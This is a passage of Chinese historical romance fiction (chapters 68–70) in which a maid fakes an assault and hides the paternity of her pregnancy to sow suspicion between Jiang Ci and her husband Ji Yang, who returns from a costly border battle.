银霜郑重点头,目光满是坚定:“小姐放心。”
目送她离去,姜辞转身回房,对着铜镜中的自己,眼角眉梢皆是掩不住的欢喜。
她抿唇轻笑,手指轻触姬阳送她的玉钗,仿佛那一吻仍停留在唇角,心中软软地晃了一下。
与此同时,姬阳屋中。
他站在衣架前,唤了声:“越白,更衣。”
房门半掩,身后却迟迟无人应答。
他眉头微蹙,正欲转身查看,忽觉一双手悄无声息地探上他颈侧。
姬阳瞬间神色一冷,脚下一动,猛地闪开,转身抽剑。
“谁?”
屋内香气氤氲,来人面色娇羞,竟是楚窈。
她双眼湿红,衣带半解,楚楚可怜道:“奴……奴仰慕都督已久,只想为都督更衣、侍寝……伴在都督……”
话未说完,冰冷的剑锋已架上她的脖颈。
姬阳面色冷沉,眼中毫无怜惜:“你可知,妄图诱主,是何罪?”
楚窈咬唇不语,眼中带泪,仍旧一副情难自抑的姿态。
“看在你是我夫人婢女的份上,我今日饶你一条贱命,但是不要再让我看到你,你最好躲着我走。”
姬阳语气森冷,字字沉厉,“滚出去。”
楚窈悻悻退下。
走至门口时,她余光一瞥,忽见院中花树掩映间,一道熟悉的身影正缓步走来,正是姜辞。
她脚步一顿,眸中忽而闪过一丝算计。
下一刻,她抬手扯散头发,拉裂领口,手指指甲狠命在锁骨处划了两下,隐隐泛红,再抬眼,已泪眼婆娑、娇弱无助。
她猛然推开姬阳房门,踉跄着跑了出来,在回廊拐角处与姜辞撞了个满怀。
“楚窈?发生何事了?”姜辞皱眉,目光落在她狼狈的模样上,不由蹙紧了眉。
她视线一斜,看见不远处姬阳屋内房门半掩,仍未关好,屋内景象模糊可见。
楚窈抬起满是泪痕的脸,咬着唇,一副受尽屈辱又强撑的模样,哽咽地摇头:“夫人……没事……奴只是……只是……”
她话未说完,便如惊鸟般转身跑开,步履虚浮。
姜辞站在原地,目光下意识落向那扇虚掩的门。
只见姬阳这时正好从屋内走出,一边低头系着腰带,一边皱眉。
他一抬头,便撞上姜辞的眼。
“姜辞?”他语气不觉带上一丝欢喜,冲她笑笑,还未开口说什么,便见她神色倏然一变,唇角冷淡,眼神沉沉,猛地转身离去。
“姜辞——”他刚唤了一声,却见她头也不回,步伐利落,带着从未有过的冷意。
姬阳一头雾水,只觉莫名其妙,想追却又不便,只得暂时压下心思,批上外袍,往督军署去了。
督军署中。
陆临川持着军报步入帅帐,神色凝重:“主公,青州边境传来急信。瀚北部落突袭我军据点,哨兵重伤,青州守军失衡,恐不足三日,他们便能逼近三郡边界。”
姬阳眼神一凛,沉声道:“立即传令青州主将杜子涵死守关隘,我明日午时启程,去看看楼弃到底想如何。”
陆临川应声:“是。”
帅帐内气氛肃杀,战局骤紧,而他心头那一缕突兀的不安,却挥之不去。
他不明白姜辞为何突然冷脸相向,惹得他现在有些心烦。
屋内窗扉微启,风从檐下吹入,掀起案上几页薄纸。姜辞坐在榻前,手中执着笔,却早已凝神难定。
她伏在案上,眉头轻蹙,望着素笺上的字迹半晌,终是叹了口气,将笔搁在一旁,抬手揉了揉额角。
她试图让自己静下心来,强迫自己继续写下一份回信,可思绪却早已纷乱如麻。
“别胡思乱想,可能……只是巧合。”她低声对自己说。
可她眼前却又浮现出楚窈那张梨花带雨的脸,凌乱的发丝、撕碎的衣襟,还有那句含糊其辞的“没事”……越想,心头越是发沉。
若真是误会,为何楚窈会是那般样子?若不是有什么,又为何从屋中狼狈而出?
她咬唇,想起自己曾经见过姬阳面对诱惑时的冷硬,那个男人,不该是那样的人。
可又一阵混乱的念头浮上来。她忽然记起几日前银霜说过的一句话,当时她未曾在意,如今却仿佛一道裂隙悄然撕开。
“小姐,我发现楚窈现在打扮得越来越像您了……”
又想起那日他给她念书,说道:“那就把她纳了。”
姜辞怔怔出神,越想越觉得后怕,如今她已与他心意相通,同房她本就愿意,何故要……
她猛然抬手,将案上一页未写完的书信拽起,用力揉成一团,丢到地上。
接着是第二张,第三张。
地上很快散落了满地揉皱的纸团,如凌乱的心绪,无从收拾。
晚娘掀帘而入,刚要开口唤她,目光却被屋内那一地废纸怔住。
“姑娘……”她迟疑开口,眼神里透着担忧,“怎的……写东西写成了这样?”
姜辞没有说话,只是垂着眼,可理智终究压不过那一点心酸的疑虑,果然人一旦动情,情绪便会被牵动,以往的理智都会抛之脑后。
她闭了闭眼,低声道:“我……只是静不下心罢了。”
语气轻淡,姜辞终究还是没能咽下,低声将事情的来龙去脉缓缓说给晚娘听。
晚娘听罢,气得眉眼都直跳:“我这就去找楚窈算账!”
姜辞一把拉住她的手,语气平静,却像拧着一股说不清的情绪:“我瞧她那个样子……怕是也并非自愿。此事,又怎能怪到她头上?”
晚娘望着她,心口泛起一阵酸意,终是无奈地叹了口气,眼里满是心疼。
窗外秋风卷过,吹得案上余纸翻飞,发出簌簌声响,像极了她此刻动荡不安的心。
夜已深,东阳侯府灯火未熄。
姬阳自督军署归来,披着夜风匆匆进府,脚步比往日都轻了几分。今日他刻意早退,是想与姜辞共进晚膳,再顺势告知她明日出征的事。
他走至内院,远远便唤道:“晚娘。”
晚娘正从后厨出来,手中端着一碗热汤,见他一身风尘,忙迎上前。
“姜辞呢?”姬阳问。
晚娘闻言叹了口气,犹豫了下才低声道:“姑娘……刚初愈不久,今儿染了点风寒,才喝过药,已经歇下了。”
姬阳眉头轻蹙,语气仍稳:“我明日午时从北门出发。你帮我转告她……若是好些了,可以来送我一程。”
他说得平静,末了顿了顿,似是要多说什么,但最终只是转身离开。
晚娘望着他的背影,有些怨怼地轻叹一声:“你们两个……唉。”
待他走远,晚娘才重新回到姜辞房中。
屋里烛光微晃,姜辞仍坐在榻上,裹着被子靠在床头,一双眼神却分外冷清。
晚娘将话原封不动转述。
“姑娘,他说明日午时北门出征,若你好些了,可以去送他一程。”
姜辞听完,抱着双膝冷笑了一声,语气里带着明显的嘲讽:“我才不去。”
她嗤道:“一想到那件事,我就觉得恶心——”
“他若真喜欢宠幸谁,大可光明正大来和我说,何必演那一出,装得自己对我情深意重?”
她语气极淡,可每一字却都像是从牙缝里挤出来的。
晚娘一惊:“姑娘……”
“晚娘,你就当我什么都没说。”姜辞冷冷截断,侧过头去,不愿再多言。
窗外一阵风吹来,拂动帘子,也吹得她心口泛凉。
她紧紧攥住手边的被角,目光落在那一盏早已冷透的茶汤上,唇角扬起一丝苦笑。
“他既然待我非一心一意,那我又何必非去送他?”
次日清晨,天光刚泛鱼肚白,东阳侯府便已动静频频。
姬阳早早起身,换上戎装,越白将盔甲紧了紧,压低声音问他是否再去内院看一眼。姬阳顿了顿,却最终只是摇头,此次出征在即,有什么还是等他回来再说。
日头渐升,东阳军列阵待命,陆临川已整装完毕,坐于马上,远远望见姬阳策马而来,扬声唤道:“时辰差不多了,都督。”
姬阳点了点头,举目望去,人群已聚集在街道两侧,百姓夹道相送,呼声阵阵。他神情冷肃,目光却在不断扫过人群,一张张陌生的面孔,一双双陌生的眼神。
可她的身影,始终未曾出现。
他目光掠过城门高台,又落在长街尽头,最终归于无声。胸口一寸微凉,像是被风穿透。
陆临川看他神色微异,低声提醒:“都督,该出发了。”
姬阳垂眸,握紧缰绳,良久才缓缓吐出一口气,语气低沉:“出发。”
军旗一展,鼓声擂响,东阳铁骑浩浩荡荡地由北门而出。
而在不远处,一处高台之上,姜辞身披薄斗篷,静静坐在石阶边沿。
她早已来了。
她不愿站在人群中迎送,只想躲在这不易察觉的角落,看他最后一眼。
风自远方吹来,吹得她眼眶微涩,她只是抬手挡了挡,并未出声。
直到东阳军的最后一骑踏出城门,长街归于沉寂。
她这才低声开口,像是说给自己听,又像是在与身后的晚娘交代:“走吧,回去了。”
晚娘应了一声,伸手扶住她的手臂。
姜辞站起身,垂下眼睫,没有再回头。
东阳侯府后院井边,正值午后,阳光透过枝叶斑驳洒落,楚窈俯身洗着衣物,忽觉一阵恶心涌上喉头,脸色骤变,捂着胸口退了一步,眉间浮现细细冷汗。
一旁的婢女林春忙抬头看她,关切地问道:“楚姐姐,你怎么了?脸色这么难看。”
楚窈强自按捺胸口翻涌的潮意,唇角勉强扯出一抹笑意,道:“没事,许是早上吃的东西不对胃口,我自小肠胃就不好,歇一歇便好。”
林春点点头,关心地说道:“要不你先去歇着,这桶衣服我来洗。楚姐姐若真吃坏了身子,可别硬撑着。”
楚窈望着她,眸色一转,忽地轻声问:“你来府里多久了?”
林春一怔,如实答道:“半个月。”
楚窈垂眸,似是漫不经心地点了点头,柔声道:“嗯,有劳你了。”
说罢,她扶着井边的石栏,缓缓往后院深处走去。转过花墙,来到一株桂花树下,她终于止住脚步,微微弯腰坐下,脸上的笑意一点点收起。
她低头看着尚未隆起的小腹,指尖轻轻摩挲,唇边浮出一丝意味不明的笑意。
“乖,再忍一忍……等娘给你找个好爹。”
第68章
姜辞和晚娘返府途中,她始终沉默,晚娘看她脸色,不敢多言。
直到踏进垂花门,她才忽然开口:“银霜何时回来?”
晚娘怔了一下,答道:“今日是她去督军署第一日,杜副将向来严谨,想必教得也紧,午后还有训练。怎么也得等到傍晚才会放她回府。”
姜辞听罢,轻轻叹了口气,忽然道:“你早就知道她会功夫?”
晚娘微笑,眼中带着些无奈:“她在小姐面前一向小心,不敢露半点马脚。我是知道些的……可姑娘信她,又未曾遇危,便由着她藏了。”说着顿了顿,语气略微正经起来,“但她对小姐的心,是实打实的。”
姜辞点头,语气也平缓下来:“我不是说她不忠心……只是觉得有些可惜。”
她语声渐低,像是自语:
“她明明可以去做许多事,却在我身边……耽误了许久。”
晚娘听着,有些动容,又不知如何安慰,只轻声道:“她若觉得是耽误,早便离开了。可她愿意守着姑娘,便是心甘情愿。”
姜辞轻轻嗯了一声,忽又抬眸提醒道:“楚窈的事,暂时不要告诉她。你知道她性子,嫉恶如仇,我怕她冲动,去找楚窈的麻烦。”
晚娘点头:“姑娘放心,我心里有数。”
两人话正说着,院门那头忽传来几声低语与脚步声。姜辞循声望去,恰见楚窈和一个新来的婢女,二人抱着一摞叠得整整齐齐的褥单,从偏廊一侧转出。
楚窈低眉顺眼,动作缓慢,看见姜辞后,脚步一顿,却并未像往常那样主动行礼或上前打招呼。
姜辞也停下脚步,眼神一闪,喊了一声:“楚窈。”
楚窈手中褥单微微一晃,却并未抬头,只轻声应了句:“夫人。”
语调温顺,却淡淡的,仿佛在刻意保持距离。
姜辞走近几步,眼角瞥见她眼下发青,脸色苍白,像是几日未眠的模样,不禁道:“你脸色不好,可是病了?”
楚窈低头摇了摇头,声音更低:“多谢夫人关心,我无碍。只是近日小事做得多了些,没休息好。”
说着,她眼神一闪,像是想起什么,又忙补了一句:“夫人若不喜我留在府中,大可直接把我赶出去,或者哪里都行,调去庄子上也好,远些清净。”
姜辞一怔,心头说不上什么滋味。
她分明还在试图理清那日房门前的一幕究竟是真是假,可此时楚窈一言一行却极有分寸,既不为自己辩解半句,只用这副受委屈却识大体的模样,叫她生出一种说不清的愧意。
“我并未说要赶你,”姜辞语气平稳,却按捺不住那丝混乱,“你……安心做你的事就好。”
楚窈点头,声音愈发低了:“是,我明白的。”她将褥单抱得更紧些,像是害怕露出什么,“我知道自己身份低微,过去多有冒犯,夫人不计较,我已感恩。若有一日离开侯府,也是我的命。”
晚娘皱了皱眉,正要开口,却被姜辞拉住了袖子。
姜辞站在原地,看着楚窈远去的背影,神色微凝,眉头拧起。
她本想问问那夜的事,但楚窈这副样子,倒让她心里泛起一阵莫名的烦乱。
林春与楚窈一同从后院走出,沿着花廊缓缓而行。
月色尚浅,夜风轻轻,吹得两人衣角微扬。走了几步,林春终是忍不住,悄悄侧过头来,小心翼翼地问道:“楚姐姐,你可是……得罪了夫人?我记得,之前你一直是跟在她身边伺候的。”
楚窈抱着怀中叠好的褥被,垂眸淡声:“没有,只是……都督偶尔多看了我几眼罢了。”
她语气像是无意间撒下的火星,刚刚好点燃林春心中的八卦火苗。
林春一怔,眼神闪了闪,压低了声音:“可我听说……夫人性子温雅,又不是那种会争风吃醋的女子。”
楚窈脚步微顿,转头朝她看了一眼,笑意温婉,却带着几分意味不明。
“嘘。”她轻轻竖起一指放在唇边,“这话可不能乱说,背后议论夫人,当心挨罚。”
林春脸色微变,连忙点头:“是是,是我多嘴了。”
二人不再交谈,一同折入偏院歇息处。
时间已经过去小十日,青州边境,营帐中火光跃动,夜风虽寒,帐内却透着几分酒意温热。
钟嗣航执壶斟酒,语气轻快:“今夜月色好,喝一杯不为战功,只为家人。”
他一口饮尽,眼中却泛起点点柔光,接着笑道:“前几日家书到了,犬子牙牙学语,夫人让我取个乳名,我寻思着若能早些回去,亲口听他喊上一声爹,便值了。”
陆临川倚在一旁,举杯向他致意,调侃道:“钟将军如今也是有软肋之人了,怕不是再难像当年一样孤身断敌后路。”
“话虽如此,”钟嗣航摇头一笑,“但出门在外,总得有个牵挂,才知道何为归处。”
这时,陆临川将话锋一转,看向对面的姬阳,笑道:“不知主公何时能当父亲?到那时,东阳侯府有了小少爷小小姐,怕是很更热闹。”
姬阳将酒一饮而尽,放下杯盏,目光落在火盆中跳跃的火光上,沉声道:“快了吧。等我这次回去,就跟她商量,生个孩子。我不在时,她也不至于一个人太孤单。”
他语气平静,眼中却泛着淡淡的温意。说罢,转头拍了拍陆临川的肩膀,语气一转,带了些打趣意味:“你别总笑话我,倒是你,年纪不小了,至今还未成家,莫不是想当个老光棍?”
陆临川哼了一声,懒散倚坐,满脸不以为意:“我这人志在四方,随主公指点江山,建功立业,在此之前,儿女情长,于我而言不过羁绊。”
“哟,”钟嗣航摇头笑道,“你这是没尝过热炕头的滋味。一日成家,有了妻儿,每次出征,心里就有挂念,也会盼着速战速决,早些回家。你才知,世间最难舍的,不是功名,而是有人等你归来。”
这番话落下,一时安静。
姬阳不知何时已从怀中取出一物,那是姜辞曾亲手绣给他的护符,模样憨态可掬,这个老虎头让他喜欢的不得了。
他低头看了片刻,神色温和,指腹轻轻摩挲那绣线粗细交错之处,像是也摸到了她的指尖余温。
他静静想了许久,忽然开口:“明日一早,兵分两路,从石陉绕出,切断敌人粮道,再从燕岭南侧包抄,一举破敌。尽快拿下这一仗,我想早点回去。”
“都督这是想夫人了?”钟嗣航笑着打趣。
姬阳将护符收回怀中,起身一拳落在他肩上,看似不怒:“就你话多。”
可话落时,他唇角的笑意,早已出卖了心境。
姬阳离开的日子,一晃便又过去了十余日。
东阳侯府一切如常,晨钟暮鼓、庭前花影,依旧循着过往的节律安静流转。
姜辞每日照常起身,请安、习字,从不曾懈怠。她坐在窗前临帖抄经,偶尔替邻里诊脉开方,晚间也会端坐灯下,翻看医书。但这些事她都做得安安静静,少了以往的细细絮语,也不再主动提起姬阳的名字。
银霜察觉她心绪有所不同,常想与她说笑几句,却总在她神色发怔之时噤了声。
夜深后,书案上的灯火还亮着。
她手执狼毫,伏在素纸前,半天只写出几笔凌乱的字,最终一纸搁下,什么也写不出来。她倚着窗,望着庭前月色,心头却空落落的。
那日烟花下的深情耳语仿佛还在耳边,但再睁眼时,身边却只余清冷余香。
自从姬阳离开,府中一切照旧。
楚窈躺在丫鬟房内,手抚摸着腹部,她腹中这个种到底是越白的还是谢归璟的,她自己都无从分辨。可她知道,要想保住自己的身份地位,就必须让这个孩子,落在姬阳头上。
她不能等。也等不起。
这日清晨,晨雾还未散去,她特意起得极早,将屋中炉火熄了个干净,借着秋凉故意换上了单衣,又去厨房翻了些酸梅果子,细细地含着,才逼得喉咙里泛酸、作呕之意。
一切准备妥当后,她便站在回廊拐角,那是姜辞从姬夫人院中回来的必经之处。
她屏息凝神,手按着小腹,静静地等。
果不其然,远处素衣出行的姜辞提
着书卷缓步而来。楚窈垂下眼帘,缓缓弯下身子,状似头晕,扶着廊柱一声轻咳,随后低低呕了一声,身子一软,缓缓蹲坐在地。
果不其然,姜辞看到了她,立刻察觉了她的异样,眉头微蹙,快步上前,语气关切:“楚窈?你怎么了?”
楚窈缓缓抬头,脸色煞白,眼中水光涌动,咬着唇轻轻摇头:“……可能是清早吃了点酸的,不合胃口……我没事。”
“你脸色很不好。”姜辞蹲下身察看,目光在她苍白的脸上流连,摸了摸她的脉象,有些奇怪,但是说不上来。
平日里她看的病人也不少,偏偏这个她不太清楚,姜辞终究还是吩咐道,“晚娘,去请大夫来看看她。”
楚窈不语,只是低头,像是不愿旁人看到她此刻狼狈模样,手却缓缓地,轻轻按在自己平坦的小腹上,眼角悄悄滑下一滴泪。
忽然脚底一软,倒在地上,姜辞赶紧将她扶起来,带回自己的屋子。
大夫很快被请来,楚窈虚虚靠在榻上,看起来楚楚可怜,一副想说又不敢说的模样。
大夫诊脉片刻,起身拱手,神色有些复杂:“夫人,楚姑娘脉象绵缓有力,滑而不滞,乃是喜脉。”
屋中气氛瞬间凝住。
楚窈猛然睁大了眼,仿佛比谁都震惊,眼圈一红,想要解释,却一句话也说不出口。
姜辞站在原地,眉心一皱,一股说不出的异样情绪在心底翻涌。
她没说话,只是慢慢看向床上的楚窈。
楚窈捏紧了床边的被褥,眼泪顺着脸颊悄悄滑落,她低声道:“夫人……我……我真的不知道……”
姜辞仿佛被一阵风吹过心头,冷得发紧。脑海里,不自觉浮现出那日清晨、走廊之上,楚窈披头散发从姬阳房中奔出的身影……
她捂住心口,胸腔剧烈起伏。
她告诉自己不要想太多。可楚窈这副隐忍受辱的模样,就像一柄尖刀,狠狠刺进她心口深处最柔软的一块地方。
也许,事情不是她想的那样。
也许……真的是姬阳做了什么。
姜辞眼底的光,悄然黯淡。她努力说服自己不要胡思乱想,可那句喜脉,如惊雷般在耳畔轰鸣,怎么也解释不了。
怪不得她看不出来,她以前跟的大夫,并没有教她如何看身孕。
她声音一丝发颤:“大夫,你确定吗?要不,再诊一诊?”
大夫拱手回道:“老夫看诊多年,别的不好说,但是喜脉从未诊错过。”
姜辞深吸一口气,强压下心中的情绪,语气尽量平稳:“好的,多谢大夫。”
楚窈却在此刻忽然起身,泪眼盈盈,声音颤抖中带着几分撕裂:“我可怎么活啊……夫人,我不如去死了算了!您待我那样好,我却做出这等羞辱您的事,是我对不起您,是我该死!”
说着,她作势便要朝屋中梁柱撞去。
姜辞眉头一拧:“晚娘,拦住她。”
晚娘眼疾手快,一把拉住楚窈,将她按住。
姜辞神色平静,却看不出喜怒。她走上前,语气淡淡,却掷地有声:“你肚子里既已有了骨血,死是最不负责任的法子。”
她顿了顿,凝视着楚窈满是泪痕的面孔,低声道:
“你既留不住清白,那便好好保住体面。”
“你放心,我会替你寻一个你满意的身份。”
第69章
姜辞吩咐过后,又转告晚娘:“此事暂时不要传到婆母耳朵里,待都督回来,再做定夺。”
“是。”晚娘应声而退。
院外,正巧那位给楚窈诊脉的大夫刚出门,越白迎面撞见,神色紧张:“大夫,是夫人身子不适?”
大夫见他是都督身边人,便并未隐瞒:“不是,是她身边那个婢女……姓楚的,诊出了喜脉。”
越白一愣,随即喜色满面,躬身作揖道谢,等大夫走远后,他忍不住喃喃:“我要做父亲了……我该如何向夫人求娶窈儿呢?”
屋内,楚窈当即跪倒在地,俯身磕头:“夫人,您待我如此之好,楚窈就算当牛做马,也定不会负您。”
姜辞俯视着她,眼底情绪却渐冷。听见不会负你这句话时,她不知怎的,竟生出几分讽刺意味来。
她没有伸手去扶楚窈,只语气平平道:“你既有孕在身,便搬出丫鬟房。我会吩咐晚娘为你安排独屋,不必再做粗活,好生养胎。”
说罢,她微偏过头:“退下吧。”
夜深,偏院小窗轻启。
越白偷偷摸入,屋内烛火未灭,楚窈坐在床榻边,一身素衣,神色似冷似柔。
“窈儿,”他低声叫她,一脸激动地跪在她面前,将耳朵贴上她还未显怀的小腹,语气颤抖:“我们……我们有孩子了。你何时才肯嫁给我?都督这两日就回来了,我想当面去求他,把你正正经经娶回家。”
楚窈却将他拉起,静静看着他,声音带着一丝温柔,更多的是那种娓娓道来的算计:“越白,你有没有想过,我们成亲之后……住哪?”
“住哪?”越白一愣,“当然是东阳侯府的别院。我自幼伺候都督,他一定会成全咱们,分个院子给我们。”
“越白。”楚窈轻轻打断他,“你想着我嫁给你之后,还要继续留在府中,给人伺候端茶倒水?”
越白怔住:“可……那也是都督的府邸,咱们又不是外人,哪里不能住?”
“可我不是你。”楚窈缓缓起身,站在烛火前,眸中泛起光影的流转,“我不是出身世家,也不是从军建功之人。我不过是个婢女……你也只是个侍从。”
她回过头,望向越白,语气仍旧温和,却带着一锤定音的力量:“你想让我和你成亲,却让我依旧活在他人的屋檐下,难道你希望你我的孩子,将来还要给都督的孩子做书童婢女?你甘心,我不甘心。”
越白一时说不出话,良久才低声道:“那我……我还有些积蓄。若你愿意,我们在丰都城买个小院,我们搬出去,成婚后就不过这种寄人篱下的日子。”
楚窈闻言轻笑,像是被感动,却又轻轻摇头:“越白,我知道你对我好……可你没想过,靠着这点积蓄,我们能撑几年?孩子出生,奶娘、药钱、学业……你一个人在外替人跑腿办事,我在家操劳,是这你想要的日子?”
她走近一步,抬手理了理他的衣襟,语气缓了些:“若你真的爱我,就该听我的安排。我要的,不只是你这份心,而是一个真正能让我们站稳脚跟的未来。”
越白呆呆望着她:“那……你打算怎么办?”
楚窈低声:“届时我会告诉你。但在此之前,我们成亲之事,你不可和任何人提起,尤其是不能私自告诉都督。”
“为什么?”他不解地问。
楚窈轻轻抱住他,头埋在他胸前,声音像是带着几分哭腔:“我怕,怕他说我配不上你,怕夫人对我失望……等一切尘埃落定,我自会告诉他们。”
越白终究是心软了,他抬手抱住她,点头:“好,我听你。”
而这一切,早被院外廊下的角落中,林春悄悄听了个一清二楚。
她屏息捂口,待两人再无声息,才悄悄退入阴影,脚步飞快地离开,她才来没多久,楚窈又是夫人身边的,这种腌臜事儿,还是少听为妙。
知道的越少,活的越久。
第二日一早,天还没亮,越白悄悄离去,楚窈心中隐隐不安。姜辞只命人将她安置到偏院静养,暂时不打算告诉姬夫人。
她明白,若想彻底在东阳侯府立稳脚跟,单靠姜辞是远远不够的。必须要将这件事,让足够有分量的人知晓。若姬夫人知晓此事,或许能为她争得一席之地。
清晨,天色微阴,秋雨淅沥未停,楚窈披了件斗篷,便悄悄从偏院溜出,往内院方向而去。
可她方踏出□□,便见一道身影缓缓从回廊转出,正是晚娘。
楚窈脚步一顿,脸上堆起笑意,柔声唤道:“晚娘。”
“楚姑娘这是要去哪?”晚娘语气温和,却不见一丝往日的亲近。
楚窈眸光一闪,轻声答道:“我这两日养胎,心头烦闷,想走动走动。”
“楚姑娘。”晚娘打断了她,语气虽未严厉,却已不复从前的宽和,“夫人既命你安胎,自是为你好。你也知如今天凉路滑,秋雨未歇,若不慎摔着,怕连命都保不住了。”
楚窈一时语塞,脸色微变。
晚娘又道:“内宅规矩森严,不是你想去哪便能去哪的地方。既是怀了身孕,就该懂事些,好生在屋里静养。若真觉闷了,那也受着。”
楚窈握紧了袖中的手,勉强笑道:“我……知道了。”
“姑娘若真明白,就请回去。”晚娘微微一侧身,姿态虽谦,却有着一股不容置喙的坚定,“眼下夫人身子也未全好,府中尚有许多要事,你若真心不想再叫人寒了心,就别再闹出什么风浪。”
楚窈垂首,沉默点头,心中暗恨,却也不敢发作。
晚娘站在原地,目送楚窈缓缓转身,眉宇间早无往日怜惜,目光冷得像秋雨敲在檐角,毫无温度。
她站了片刻,微一侧头,唤来两个守在回廊柱下的婢子。
“秋杏,文桃。”
二人连忙上前应道:“晚娘。”
晚娘语声低低,语气却不容置疑:“你们两个,今后轮着盯着楚姑娘那个院子,白日也好,夜里也罢,不许她随意走动,尤其不得踏出那道院门一步。”
二人点头。
晚娘语毕转身离去。
傍晚,屋中光线微暗,窗外的秋风掠过枝桠,叶影斑驳。姜辞坐在窗前,双手抱膝,神思沉沉,望着庭中桂树怔怔出神。
晚娘端着一碗大补的汤走进来,见她发呆,轻唤了两声:“姑娘。”
姜辞这才缓缓转过头,目光空落,神色憔悴。
晚娘心里一揪,走近几步,将汤放在案上,轻声劝道:“姑娘,自古以来,男人纳妾本就是常事。就算今日不是楚窈,明日也还有陈窈、王窈。都督从前说过,他志在天下,若真有一日,他成了这四方之主,姬家血脉要延绵,要与群臣斡旋、安抚世家,纳妾娶妻……怕是少不了的。”
她顿了顿,语气里掺着一丝心疼,“姑娘,不如……早些习惯些。”
姜辞听着,原本空落的眼眸忽然泛红,眼泪悄无声息地涌了出来。
晚娘一慌,连忙将帕子递过去,想帮她擦泪。谁知姜辞一把推开了她的手。
她低着头,声音压得极低,却含着难以掩饰的哽咽:“我知道……我知道这些理,可是这件事真的发生的时候,我才发现,我的心里,有多难受。”
她抬起眼看着晚娘,目光里是无助,也是痛苦,“我知道那个孩子是无辜的,我也知道,作为正妻,我该容她……可晚娘,我做不到。我没有办法,和别人共享我的夫君。”
晚娘走到她身边,缓缓将她揽进怀中,拍着她的背,低声道:“姑娘嫁进来也半年多了,是有些快了。”
姜辞轻轻推开她,语气低落却清晰:“这和我嫁进来多久无关。倘若他从未对我动心,我也不会放在心上,他便是一日娶十人,我都不会难过半分。可他在我生辰那日,亲口说过那些话……他让我信了。”
她眼圈泛红,声音几不可闻:“我才与他心意相通……才刚刚放下所有的顾虑,愿意把真心交出去,他就这样对我……我接受不了。”
晚娘抿了抿唇,眼圈也泛红了:“姑娘,老奴没读过什么书,也不懂那些心思弯弯绕绕的事……但姑娘无论怎么想,老奴都站在你这边。你想怎么做,咱们就怎么做。”
姜辞望着她,眼中一片沉静,像是终于下定了某种决心。
她缓缓道:“我想好了,我会去找他说……纳妾的事。”
她顿了顿,语气愈发平静:“我们的院子也快修好了,今后,我和他桥归桥、路归路。我会收起心思,只当自己是凉州与汀洲联盟的筹码,不再与他做真夫妻。”
屋内一时寂静,晚娘看着她,心疼如刀绞,只能再一次将她紧紧抱住,轻轻拍着她的背。
两日后深夜,丰都城万籁俱寂。
城北城门在厚重的机关声中缓缓打开,风卷起尘土,一队披甲军士自黑暗中缓步而来。
火把燃着,光映在每一张风霜满面的脸上。
为首一骑,高大冷峻,姬阳身披战甲,发丝凌乱,肩头缠着染血的纱布,眼底却一片死寂沉冷。
他没有说话,只是目光沉沉,盯着前方。风从他身侧刮过,拂起他披风残角,也拂起了他眼底深藏的痛意。
队伍中,一辆用白布覆盖的马车缓缓随行,车上安放着一具沉重的棺木。东阳军士兵面色铁青,无一人开口,连马匹的鼻息声都显得沉重异常。
他们,带着战死兄弟的骸骨归来。
马蹄声由远及近,行至督军署外,姬阳翻身下马,眼中一丝情绪未动,只一言:“抬下,放侧厅,不得让旁人靠近。”
“是!”
几名亲卫小心翼翼将棺木从马车上抬下,一路沉默着护送进督军署侧厅,轻手轻脚,仿佛生怕惊扰了沉睡中的战友。
夜风吹过院落,灯火摇曳。姬阳踏入主厅,重甲铿锵,每一步都似千钧。
他丢下手里的头盔,砰然一声掷在地上。
他站在正堂中央,脚步沉沉,走到主位前,仰头望着那横梁上的军旗,双手缓缓抱住头,喉咙里压抑着什么。
忽然,他发出一声哽咽低吼:“……钟嗣……”
这两个字从他喉间溢出,撕裂一般的沉痛。
陆临川缓步进来,看到这一幕,神情也难掩悲恸。他站在一旁,低声道:“主公……此次东阳军损折甚重。钟将军他,为护住粮道,与瀚北铁骑鏖战三日三夜,终是力竭……他挡住了敌军,让我们得以从燕岭绕袭。若非他一人守死关口,这仗……我们未必能赢。”
姬阳没有抬头,只是低声喃喃:“他还有个牙牙学语的儿子……出征前,他妻子托我照拂,说孩子刚会叫人,他还没亲耳听过那声爹……”
他的声音越来越低,像是压着千斤重石:“我答应她的……我答应她这次带他回来,不再让他驻守青州,我说要让他们一家团聚的……”
“陆临川。”他闭上眼,疲惫而嘶哑,“你先回去,我想一个人坐一坐。”
陆临川知道他性子,再多劝也无用,只点头:“主公……节哀。明日我再来。”
他退了出去。
偌大的主厅里,只剩姬阳一人。他坐在主位下方,身影被火盆拉得细长。
他一动不动,就那么坐着,从深夜坐到黎明将至。
直到东边泛起鱼肚白,窗纸上映出第一缕光,他仍未起身。
这一夜,姜辞睡得极不安稳。
梦里时常浮现出姬阳的身影,或是那日道别时他凝望的神情,或是昔日种种温柔……可梦境终究紊乱,梦中人转眼便隐没在沉沉夜色中,再也寻不见。
她清晨醒来时,眼尾还带着一丝倦意,强撑着起身梳洗,照例前往正院给姬夫人请安。
刚走进暖阁,便听见姬夫人正一边饮茶一边道:“昨夜子溯就回了丰都城。”
姜辞脚步一顿,掩在袖中的指尖顿时一紧,强自镇定道:“他……昨夜就回来了?”
姬夫人点头,略有些不满地叹了口气:“大清早就托了口信,说近日军务繁忙,暂不回府。除了这一句话,其他什么也没交代。”
姜辞与姬夫人寒暄了几句,走出屋子,晚娘才开口:“都督归来,按理说,第一件事应是回府安顿,给姬夫人请安才是,至少也得看看姑娘。”
姜辞闻言,却只是低声笑了一下,眼神冷淡。
“或许是心虚了吧,用公务逃避。”
她看向窗外晨光透入的庭树,眸色一寸寸冷下来,语气平静得不像是在说怒事:“既然他不回来,
那我就亲自去找他。”
第70章
回到屋内,她随手披上外裳,说道:“楚窈的肚子会一日一日的大起来,我既答应过她,给她一个满意的位置,今日便把这事定下来。”
晚娘皱眉:“姑娘,您当真……”
姜辞却不等她劝,只自顾自整了整衣襟,又转身交代:“银霜昨夜回来得晚,今日好不容易休息,就让她多睡会儿,别叫她跟着了。”
话落,她已稳稳立于廊下,披风随风微扬,神情平静。
晚娘只能叹气,快步跟了上去。
主仆二人上了马车,朝督军署而去。
督军署内,姬阳还呆呆坐在那里,得知姜辞来了,眼底忽然亮起一丝久违的光。
他连忙拿起一旁温热的湿帕子,胡乱擦了把脸,拂去脸上的风尘与血污,又整了整身上的披风,快步站到厅中间,心跳隐隐加快。
他一夜未眠,只想此刻,能抱她一下。
她来了。
他听见脚步声,抬眸,就见她穿着一身杏色和橘色交织的衣裳,从外头走来,她的神情却冷静得几乎疏离。
他走上前,张开手臂,正欲拥她入怀。
却被她微微偏头,避开了。
